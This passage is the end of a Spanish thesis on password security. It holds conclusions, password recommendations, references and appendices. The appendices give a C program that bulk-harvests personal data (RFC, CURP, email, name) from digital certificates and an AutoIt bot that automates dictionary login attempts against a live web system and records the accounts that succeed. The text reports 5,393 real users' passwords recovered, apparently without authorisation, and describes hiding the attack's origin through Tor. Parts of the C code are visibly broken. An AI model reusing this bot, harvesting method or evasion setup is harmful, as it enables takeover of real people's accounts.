Ataque de fuerza bruta (Fuera de línea).
Total de contraseñas. Contraseñas recuperadas.
CAPÍTULO 3. RESULTADOS Y CONCLUSIONES
- 48 -
Conclusiones.
En ese trabajo se proponen políticas que aportan un marco de referencia para que
los usuarios establezcan contraseñas con mayor fortaleza y que buscan crear
soluciones a los ataques informáticos. Para que esto fuera posible, se identificaron
vulnerabilidades que existen en un equipo de cómputo con respecto al
almacenamiento de las contraseñas, mediante un ataque de fuerza bruta a 125
contraseñas generadas aleatoriamente de diferente composición (solo números,
minúsculas, mayúsculas, minúsculas-mayúsculas y números-minúsculas-
mayúsculas- caracteres especiales) se demostró que es posible recuperarlas. Se
necesitó 376 horas 17 minutos para recuperar de 125 contraseñas, 76 contraseñas
de diferente composición (25 contraseñas numéricas, 25 contraseñas estructuradas
con minúsculas, 25 contraseñas elaboradas con mayúsculas y solo 1 contraseña
constituida por mayúsculas, minúsculas y caracteres especiales).
En los equipos de cómputo se almacena información muy importante, Windows deja
abierta una vulnerabilidad al poderse extraer el archivo donde se almacenan los
digestos.
Con el motivo de poner en práctica los conocimientos adquiridos durante esta
investigación y saber cómo funciona un ataque de diccionario, se explotaron
vulnerabilidades que existen en un sistema web. Todos los usuarios que hacen uso
de certificados digitales tiene cierta información pública a disposición, entre la que
es posible mencionar: nombre, fecha de nacimiento, lugar de nacimiento, correo
electrónico, RFC, CURP, entre otros. Con la información pública de cada usuario se
elaboró un diccionario de posibles contraseñas con la hipótesis básica de que su
contraseña estaba basada en su RFC, y se ejecutó el ataque en su modalidad en
línea, los resultados son alarmantes, de un análisis de 160,359 usuarios, se
obtuvieron 5,393 contraseñas, lo cual nos dice que las personas siguen elaborando
contraseñas relacionadas con sus datos personales.
En la actualidad no existe una métrica estándar para medir la seguridad de una
contraseña, los medidores que se utilizan en los sistemas web para medir la
fortaleza de las contraseñas sólo muestran la seguridad en porcentaje, otros sólo
CAPÍTULO 3. RESULTADOS Y CONCLUSIONES
- 49 -
indican si se utilizan los caracteres adecuados y en el mejor de los casos muestran
el resultado de la entropía basada en el NIST o la entropía clásica, aunque en
ocasiones puntuaciones altas de entropía se ven indefensas ante ataques de
diccionario o fuerza bruta.
La entropía de acuerdo a como se planteó en el NIST SP800-63 es un intento por
querer aumentar la seguridad en las contraseñas, para medirlas contempla
diferentes circunstancias en las cuales se pueden ver comprometidas,
lamentablemente no es suficiente, hay mucho por hacer.
El marco de referencia que a continuación se enlista, tiene la finalidad de orientar
sobre medidas de prevención de ataques de diccionario y fuerza bruta, además de
ir enfocado tanto desarrolladores de aplicaciones, como a los usuarios de las
mismas.
CAPÍTULO 3. RESULTADOS Y CONCLUSIONES
- 50 -
Marco de referencia para mejorar la fortaleza de las contraseñas.
Para aumentar la seguridad de las contraseñas se recomienda a los usuarios tomar
en cuenta las siguientes recomendaciones para la creación y establecimiento de
contraseñas seguras:
1.-Se sugiere al usuario utilizar como mínimo 16 caracteres al crear una contraseña.
Si se utilizan menos, el tiempo para comprometer la contraseña, disminuye.
2.-Se recomienda utilizar en la composición de la contraseña, dígitos, letras,
además de utilizar signos de puntuación y símbolos si el sistema lo permite, como: !
" # $ % & ' ( ) * + , - . / : ; < = > ? @ [ \ ] ^ _ ` { | } ~, hay que evitar utilizar solamente
números, letras mayúsculas o minúsculas en la contraseña.
3.-Es recomendable que las letras sean alternadas aleatoriamente (mayúsculas y
minúsculas).
4.-Cambiar las contraseñas cada cierto periodo de tiempo (aproximadamente cada
tres meses).
5.-Se debe evitar utilizar la misma contraseña siempre en todos los sistemas y
servicios.
6.-No utilizar información pública en la contraseña: nombre del usuario o de sus
familiares, ni apellidos, ni fecha de nacimiento, ni datos como CURP, RFC o número
de teléfono.
7.-Hay que evitar utilizar secuencias básicas de teclado (por ejemplo:”qwerty”, “asdf”
o las típicas en numeración: “1234” ó “98765”)
8.-No repetir los mismos caracteres en la misma contraseña. (ej.: “111222”).
9.-No poner como contraseña apodos, el nombre del actor o de un personaje de
ficción preferido.
10.-No se deben utilizar palabras que existan en diccionarios de cualquier idioma.
Hoy en día existen programas de ruptura de claves que basan su ataque en probar
una a una las palabras que se extraen de diccionarios.
CAPÍTULO 3. RESULTADOS Y CONCLUSIONES
- 51 -
11.-Cambiar las contraseñas por defecto proporcionadas por
desarrolladores/fabricantes.
12.-Nunca escribir la contraseña en papel.
13.-No compartir la contraseña con colegas de trabajo, amigos, compañeros de
escuela etc.
14.-No utilizar formas de relleno automático o auto completar contraseña.
A los desarrolladores:
1.-Usar CAPTCHA en el diseño de sistemas web.
2.-Limitar el número de intentos de inicio de sesión erróneos a sólo tres.
Cuando se exceda el número de intentos de inicio de sesión permitidos, se le
sugiere al desarrollador del sistema web tomar alguna de las siguientes
recomendaciones:
Impedir cualquier otro intento de inicio de sesión para el dispositivo, es
decir, inhabilitar el dispositivo.
Impedir cualquier otro intento de inicio de sesión que permita acceder a la
información del usuario.
Inhabilitar tanto la información del usuario como el dispositivo.
3.-Implementar medidores de fortaleza de contraseña en la etapa de su
establecimiento, para hacer consciente al usuario de la importancia de estructurar
una contraseña con las características adecuadas.
4.-Agregar Salt a las contraseñas antes de pasarlas por una función picadillo.
5.-Bloquear las variables susceptibles a inyección de datos.
6.-Ocultar código HTML del sistema web.
CAPÍTULO 3. RESULTADOS Y CONCLUSIONES
- 52 -
Trabajo futuro.
Los siguientes puntos se pueden considerar a futuro, para realizar un aporte más
amplio en cuestión al estudio de las contraseñas.
1. El ataque de diccionario realizado al sistema web se puede mejorar
implementando otras hipótesis de posibles contraseñas.
2. Extender el estudio a más Sistemas Operativos.
3. Se puede proponer una nueva métrica para medir la fortaleza de las
contraseñas.
REFERENCIAS BIBLIOGRÁFICAS
- 53 -
Referencias bibliográficas.
[1] Menezes, A., Van Oorschot, P. and Vanstone, S. (1997). Handbook of applied
cryptography. Boca Raton: CRC Press.
[2] Fúster Sabater, A. (2012). Criptografía, protección de datos y aplicaciones. Para
cuellos de Jarama, Madrid: Ra-Ma.
[3] Unixwiz.net, (2015). An Illustrated Guide to Cryptographic Hashes. [En línea]
Disponible en: http://www.unixwiz.net/techtips/iguide-crypto-hashes.html
[Consultado 11 Nov. 2015].
[4] Lucena López, M. (2002). Criptografía y Seguridad en Computadores. 3rd ed.
[5] Weir, M., Aggarwa, S., Collins, M. and Stern, H. (2015). Testing Metrics for
Password Creation Policies by Attacking Large Sets of Revealed Passwords..
Florida State University.
[6] NIST. SP 800-63-2 Electronic Authentication Guideline, 2013.
[7] Tilborg, H. and Jajodia, S. (2011). Encyclopedia of cryptography and security.
New York: Springer
[8] Tori, C. (2008). Hacking ético. [S.l.]: [s.n.].
[9] WonderHowTo, (2014). Hack Like a Pro: How to Crack Passwords, Part 1
(Principles & Technologies). [En línea] Disponible en: http://null-
byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-1-principles-
technologies-0156136/ [Consultado 27 Oct. 2015].
REFERENCIAS BIBLIOGRÁFICAS
- 54 -
[10] Redyseguridad.fi-p.unam.mx, (2015). .:: Seguridad Informática ::.. [En línea]
Disponible en: http://redyseguridad.fi-
p.unam.mx/proyectos/seguridad/ControlAcceso.php [Consultado 27 Oct. 2015].
[11] Díaz, S. and Chakraborty, D. (2015). On Securing Communication From
Profilers. México, D.F: CINVESTAV IPN, p.5. Disponible en:
https://eprint.iacr.org/2012/124.pdf [Consultado el 8 Nov. 2015].
[12] Unixwiz.net, (2015). An Illustrated Guide to Cryptographic Hashes. [En línea]
Disponible en: http://www.unixwiz.net/techtips/iguide-crypto-hashes.html
[Consultado el 15 Oct. 2015].
[13] López Pesa, C. (2005). Sistema de Seguridad para Intercambio de Datos en
Dispositivos Móviles. Maestría. CENTRO DE INVESTIGACIÓN Y DE ESTUDIOS
AVANZADOS.
[14] Iso.org, (2014). ISO/IEC 27000:2014 - Information technology -- Security
techniques -- Information security management systems -- Overview and
vocabulary. [En línea]: Disponible en
http://www.iso.org/iso/catalogue_detail?csnumber=63411 [Consultado el 19 Nov.
2015].
[15] Seguridad.unam.mx, (2015). Aspectos Básicos de la Seguridad en Aplicaciones
Web | Documentos - CSI -. [En línea] Disponible en:
http://www.seguridad.unam.mx/documento/?id=17 [Consultado el 19 Nov. 2015].
[16] Passwordmeter.com, (2015). Password Strength Checker. [En línea] Disponible
en: http://www.passwordmeter.com/ [Consultado el 19 Nov. 2015].
REFERENCIAS BIBLIOGRÁFICAS
- 55 -
[17] Grc.com, (2015). GRC's | Password Haystacks: How Well Hidden is Your
Needle?. [En línea] Disponible en: https://www.grc.com/haystack.htm [Consultado el
19 Nov. 2015].
[18] Julián, G. (2015). ¿Cómo funciona la red Tor? [En línea] Genbeta.com.
Disponible en: http://www.genbeta.com/seguridad/como-funciona-la-red-tor
[Consultado el 4 Nov. 2015].
[19] K@mel, J. and K@mel, J. (2014). Seguridad Informática [Ethical Hacking,Pen-
test,Anti Script-kiddies]: abril 2014. [En línea] Antisec-security.blogspot.mx.
Disponible en : http://antisec-security.blogspot.mx/2014_04_01_archive.html
[Consultado el 4 Nov. 2015].
[20] Portal.sitiosregios.net, (2015). ¿Qué es un Proxy y para qué sirve? -
Conocimiento - Sitios Regios. [En línea] Disponible en :
http://portal.sitiosregios.net/knowledgebase/124/iQue--es-un-Proxy-y-para-que-
sirve-.html [Consultado el 4 Nov. 2015].
[21] Bennett, J. (2015). Home - AutoIt. [En línea] AutoIt. Disponible en :
https://www.autoitscript.com/site/ [Consultado el 4 Nov. 2015].
[22] Freebsd.org, (2015). 14.9. OpenSSL. [En línea] Disponible en:
https://www.freebsd.org/doc/es/books/handbook/openssl.html [Consultado el 4
Nov. 2015].
[23] Uv.es, (2015). Introducción a los certificados digitales. [En línea] Disponible en:
http://www.uv.es/sto/articulos/BEI-2003-11/certificados_digitales.html [Consultado
el 27 Nov. 2015].
REFERENCIAS BIBLIOGRÁFICAS
- 56 -
[24] Oxid.it, (2015). oxid.it - Cain & Abel. [En línea] Disponible en:
http://www.oxid.it/cain.html [Consultado el 27 Nov. 2015].
[25] Tori, C. (2008). Hacking ético. [S.l.]: [s.n.].
[26] GuaJava, (2015). Condimenta la seguridad con un poco de Sal | GuaJava. [En
línea] Disponible en : http://www.guajava.net/condimenta-la-seguridad-con-sal/
[Consultado el 27 Nov. 2015].
[27] Grc.com, (2015). GRC's | Password Haystacks: How Well Hidden is Your
Needle?. [En línea] Disponible en: https://www.grc.com/haystack.htm [Consultado el
27 Nov. 2015].
[28] Passwordmeter.com, (2015). Password Strength Checker. [En línea] Disponible
en : http://www.passwordmeter.com/ [Consultado el 27 Nov. 2015].
[29] Benedicto Tovar, R. (2010). “Aplicación de metodologías de paralelización para
la generación de tablas rainbow mediante la utilización de servidores de altas
prestaciones en gnu/Linux”. Licenciatura. Universidad de Almería.
APÉNDICE A
- 57 -
A. PROGRAMA DE OBTENCIÓN DE INFORMACIÓN(CERTIFICADOS).A continuación se muestra el programa cuyo objetivo fue el extraer los datos de
cada certificado. Para ejecutar este programa es necesario el compilador C dentro
del sistema operativo Linux, así como precisar la ubicación de los certificados.
//####################################################################################
#include <openssl/x509v3.h>#include <openssl/bn.h>#include <openssl/asn1.h>#include <openssl/x509.h>#include <openssl/x509_vfy.h>#include <openssl/pem.h>#include <openssl/bio.h>#include<stdio.h>#include <string.h>#include <stdlib.h>#include <sys/types.h>#include <sys/stat.h>
int main(){
char instruccionfinal[3000];char texto[100];char txt[100];char textof[1000];char textof2[1000];
char buff[512];char resultado[1000];
int num=203000100;int cnt=0;char instruccionfinal2[3000];int i;char * pch;
char results[2000];char *final;
APÉNDICE A
- 58 -
char *textofx;
char b[1000];char cad[1000];char s11[1000];char a[1000];char m[1000];char d[1000];char e[1000];int z;int cpta=0;int cpta1=0;int cpta2=0;int cpta3=0;int conta1=1;int conta2=1;char s2[100] = "serialNumber=";char s3[100] = "x500UniqueIdentifier=";char s4[100] = "emailAddress=";char s5[100] = "name=";
for(num;num<=203643899;num++){if(cpta==10)
{cpta=0;cpta1++;
}if(cpta3==10)
{cpta3=0;cpta2++;
}if(cpta1==10)
{cpta1=0;
}if(cpta2==10)
{cpta2=0;
}sprintf(txt,"openssl x509 -inform der -in /home/certificados/certificados/cuarto/
/000010/000002/03/%d%d/%d%d/00001000000%d.cer -out/home/certificados/certificados/cuarto/Certificados/000010/000002/03/%d%d/%d%d/00001000000%d.pem",cpta2,cpta3,
APÉNDICE A
- 59 -
cpta1,cpta,num,cpta2,cpta3,cpta1,cpta,num);
system(txt);
conta1++;conta2++;if(conta1==100)
{cpta++;conta1=0;
}if(conta2==10000)
{cpta3++;conta2=0;
}if(cpta==9)
{cpta==0;
}if(cpta3==9)
{cpta3==0;
}
}
FILE in;extern FILE *popen();FILE * pFile;
cpta='\0';cpta1='\0';cpta2='\0';cpta3='\0';conta1=1;conta2=1;
int numero=203000100;pFile = fopen ("todos.txt","a");
for(numero;numero<=203643899;numero++){
if(cpta==10){cpta=0;cpta1++;
APÉNDICE A
- 60 -
}if(cpta3==10)
{cpta3=0;cpta2++;
}if(cpta1==10)
{cpta1=0;
}if(cpta2==10)
{cpta2=0;
}sprintf(instruccionfinal,"opensssl x509 -in /home/certificados/certificados/cuarto
/000010/000002/03/%d%d/%d%d/00001000000%d.pem -noout -subject -nameoptRFC2253",cpta2,cpta3,cpta1,cpta,numero);
conta1++;conta2++;if((in = popen(instruccionfinal, "r")))
{exit(1);}while(gets(buff, sizeof(buff), in)!=NULL)
{}pclose(in);strcat(textof, buff);strcat(b,buff);textofx=strstr (b,s2);if(NULL != strstr(b,s2)){pch = strtok (textofx,",");strcat(pch,"=");final=strtok (pch,"=");final= strtok (NULL,"=");strcat(textof2,final);strcat(textof2,",");strcat(cad,textof2);
s11[0] = '\0';a[0] = '\0';m[0] = '\0';d[0] = '\0';e[0] = '\0';strncat( s11, cad, 13);
APÉNDICE A
- 61 -
for (z = 0; (s11[z] = s11[z + 11]) != '\0'; z++);
strcat( e, s11);s11[0] = '\0';strncat( s11, cad, 10);
for (z = 0; (s11[z] = s11[z + 4]) != '\0'; z++);strncat( a, s11, 2);
for (z = 0; (s11[z] = s11[z + 2]) != '\0'; z++);strncat( m, s11, 2 );
for (z = 0; (s11[z] = s11[z + 2]) != '\0'; z++);strcat(textof2,s11);strcat(textof2,",");strcat(textof2,m);strcat(textof2,",");strcat(textof2,a);strcat(textof2,",");strcat(textof2,e);strcat(textof2,",");
}
else{strcat(textof2,"NULL");strcat(textof2,",");
}b[0] ='\0';
//3strcat(b,buff);textofx=strstr (b,s3);
if(NULL != strstr(b,s3)){pch = strtok (textofx,",");strcat(pch,"=");final=strtok (pch,"=");final= strtok (NULL,"=");strcat(textof2,final);strcat(textof2,",");
}
APÉNDICE A
- 62 -
else{strcat(textof2,"NULL");strcat(textof2,",");
}
b[0] ='\0';//4
strcat(b,buff);textofx=strstr (b,s4);
if(NULL != strstr(b,s4)){pch = strtok (textofx,",");strcat(pch,"=");final=strtok (pch,"=");final= strtok (NULL,"=");strcat(textof2,final);strcat(textof2,",");
}
else{strcat(textof2,"NULL");strcat(textof2,",");}
b[0] ='\0';
//5strcat(b,buff);textofx=strstr (b,s5);
if(NULL != strstr(b,s5)){
pch = strtok (textofx,",");strcat(pch,"=");final=strtok (pch,"=");final= strtok (NULL,"=");strcat(textof2,final);strcat(textof2,",");strcat(textof2,"\n");
}
else{strcat(textof2,"NULL");
APÉNDICE A
- 63 -
strcat(textof2,",");strcat(textof2,"\n");
}
//v2
if (pFile=NULL){fputs (textof2,pFile);
}
buff[0] = '\0';textof[0] = '\0';textof2[0] = '\0';cnt=0;b[0] ='\0';s11[0] = '\0';a[0] = '\0';m[0] = '\0';d[0] = '\0';e[0] = '\0';cad[0] = '\0';
if(conta1==100){cpta1++;conta1=0;
}if(conta2==10000)
{cpta3++;conta2=0;
}if(cpta==9)
{cpta2==0;
}if(cpta3==9)
{cpta3==0;
}if(conta1==100)
{cpta++;conta1=0;
APÉNDICE A
- 64 -
}if(conta2==10000)
{cpta3++;conta2=0;
}if(cpta==9)
{cpta==0;
}if(cpta3==9)
{cpta3==0;
}
}printf( "Base de datos terminada, disfruta! \n" );return 0;
}
**################################################################################
APÉNDICE B
- 65 -
B. PROGRAMACIÓN DEL SCRIPT (BOT).A continuación se muestra la programación del bot utilizado, para poder ser
ejecutado, primeramente se tiene que almacenar en un block de notas con
extensión “.au3” y después cargar al software Autoit.
//#####################################################################################include<IE.au3>
$correct= 0;
$num = 0;
$file = "C:\Users\Tesis\Desktop\usuarios.txt"; aquí se extraen los usuarios
$file2 = "C:\Users\Tesis\Desktop\contraseñas.txt"; aquí se extraen las
contraseñas
$myfile = FileOpen("C:\Users\Tesis\Desktop\correctos.txt",1) ; Aquí se
guardan los usuarios correctos
FileOpen($file, 0)
FileOpen($file2, 0)
For $p = 1 To 160359 Step +1
$line = FileReadLine($file, $p)
$line2 = FileReadLine($file2, $p)
$oIE =_IECreate('https:// nidpp/idffz/sso?id=ptsc-
ciec&sid=1&option=credential&sid=1')
$o_login = _IEGetObjByName($oIE,"Ecom_User_ID")
_IEFormElementSetValue(o_login,$line)
$o_password = _IEGetObjByName($oIE,"Ecom_Password")
_IEFormElementSetValue($o_password,$line2)
$o_signin = _IEGetObjByName(oIE,"submit")
Sleep(6000)
_IEAction($oo_signin,"click")
APÉNDICE B
- 66 -
Sleep(6000)
If StringInStr(_IEPropertyGet($oIE, "locationurl"), "https://qwerti12230
/nidp/app?sid=1") Then
FileWriteLine($myfile,$p)
FileWriteLine($myfile,$line)
FileWriteLine($myfile1,$line2)
Else
EndIf
Sleep(5000)
RunWait('taskkill /F /IM "iexplore.exe"')
Next
**###################################################################
APÉNDICE C
67
Manuales.En este apéndice se explica cómo instalar las diferentes herramientas y programas que
fueron utilizados para los casos de estudio ya mencionados en el capítulo 2.
Instalación Cain y Abel.
Para iniciar la descarga del paquete de instalación, se requiere desactivar el
FireWall de Windows, (ya que es detectado como un paquete malicioso) situado en:
Inicio> Panel de Control> Sistema y Seguridad> Firewall de Windows, luego dirigirse a la
pestaña Activar o Desactivar Firewall de Windows y desactivar las 2 configuraciones.
Para la descarga de este paquete de instalación desde el sitio oficial, se
recomienda visitar la página web http://www.oxid.it/cain.html, además de seleccionar el
sistema operativo en el cual se efectuará la instalación.
Una vez descargado el paquete que contiene el programa Cain y Abel, se procede
a la instalación, ejecutando el archivo “ca_setup.exe”, en donde se selecciona la opción
siguiente cada que se mencione, así hasta completar la instalación.
Consecutivamente a lo anterior, se tiene que aceptar otra instalación
complementaria llamada WinPcap, de la misma forma y por último se finaliza.
Para ejecutar la herramienta es necesario ir al icono de Cain y Abel, dar clic
derecho en el mismo y ejecutarlo como administrador, aceptando el cuadro de diálogo
emergente. Hay que recordar tener desactivado el Firewall de Windows, para que no sea
bloqueada la herramienta y mejore su desempeño.
Instalación del navegador Tor.
Para iniciar la descarga del paquete de instalación, se recomienda visitar la página
web: https://www.torproject.org/download/download-easy.html.en
APÉNDICE C
68
Después ejecutar el archivo torbrowser-install-5.0.3_es-ES.exe para extraer el
navegador Tor (considerando el idioma) en una carpeta de la computadora, e instalar.
Para su ejecución sólo se tiene que buscar y abrir la carpeta Tor Browser y hacer
clic derecho en el icono Star Browser, se tiene que ejecutar la aplicación como
administrador, aceptando el cuadro de dialogo emergente.
Activar configuración de Proxy.
Fue de suma importancia habilitar una conexión de tipo proxy, ya que con ella se ocultó
la IP de origen con la finalidad de desviar la procedencia del ataque, como se menciona
en el capítulo 2.
Para activar el servidor proxy dentro del SO Windows, es necesario:
Abrir panel de control> redes de internet> opciones de internet, dirigirse a la
pestaña de Conexiones, acceder a Configuración de LAN y activar el servidor proxy para
LAN, donde la dirección del servidor será 127.0.0.1 (Proxy de Tor), el Puerto que se utiliza
es 9050 y finalmente hay que guardar esta configuración.
Para navegar en internet, es necesario tener ejecutado el software vidalia e iniciar
el navegador Tor, junto con la aplicación Internet Explorer.
Instalación de Autoit.
Se Descarga el software de la página oficial
https://www.autoitscript.com/site/autoit/downloads/
Se ejecuta el archivo autoit-v3-setup.exe, dar click en siguiente para continuar y
aceptar los términos y condiciones, e instalar dependiendo del tipo de sistema operativo
(x64 o x86).
Una vez instalada la aplicación se puede acceder para iniciar con la programación
del proceso que deseamos automatizar.
APÉNDICE C
69
Nota: Todas las anteriores instalaciones son exclusivas para el Sistema Operativo
Windows y a continuación se detallan las instalaciones requeridas en el sistema
operativo Linux (Ubuntu).
Instalación de OpenSSL.OpenSSL es un programa dedicado al tratado de certificados
Para la instalación de este programa, es necesario abrir una terminal en Linux,
introducir la instrucción $ sudo apt-get install openssl, consecuentemente a esto, el
sistema operativo solicita al usuario que ingrese la contraseña como (superusuario), al
insertarla y aceptar con un enter, se observara si ha sido instalada o sólo actualizada la
aplicación.
Instalación de libraríasFue fundamental la programación en C desde Linux, para la construcción de
instrucciones para el manejo de certificados, he aquí las indicaciones para instalar el
compilador de C desde Linux (Ubuntu).
Se instala el paquete del lenguaje C con la instrucción:
$ sudo apt install build-essential
Para compilar el programa realizado en C , es necesario introducir la ruta en donde
se encuentra ubicado el programa con extensión “.c” y enseguida ingresar la instrucción
$ gcc -c -I/usr/local/openssl/include prog.c, para crear el objeto del programa a
compilar es necesario ingresar $ gcc -o prog prog.o -L/usr/openssl/pgsql/lib -lssl y
finalmente para ejecutarlo , es necesario el comando $ ./prog, todo ello en la terminal
de Linux
Para instalar los paquetes mencionados es necesario estar conectados a internet.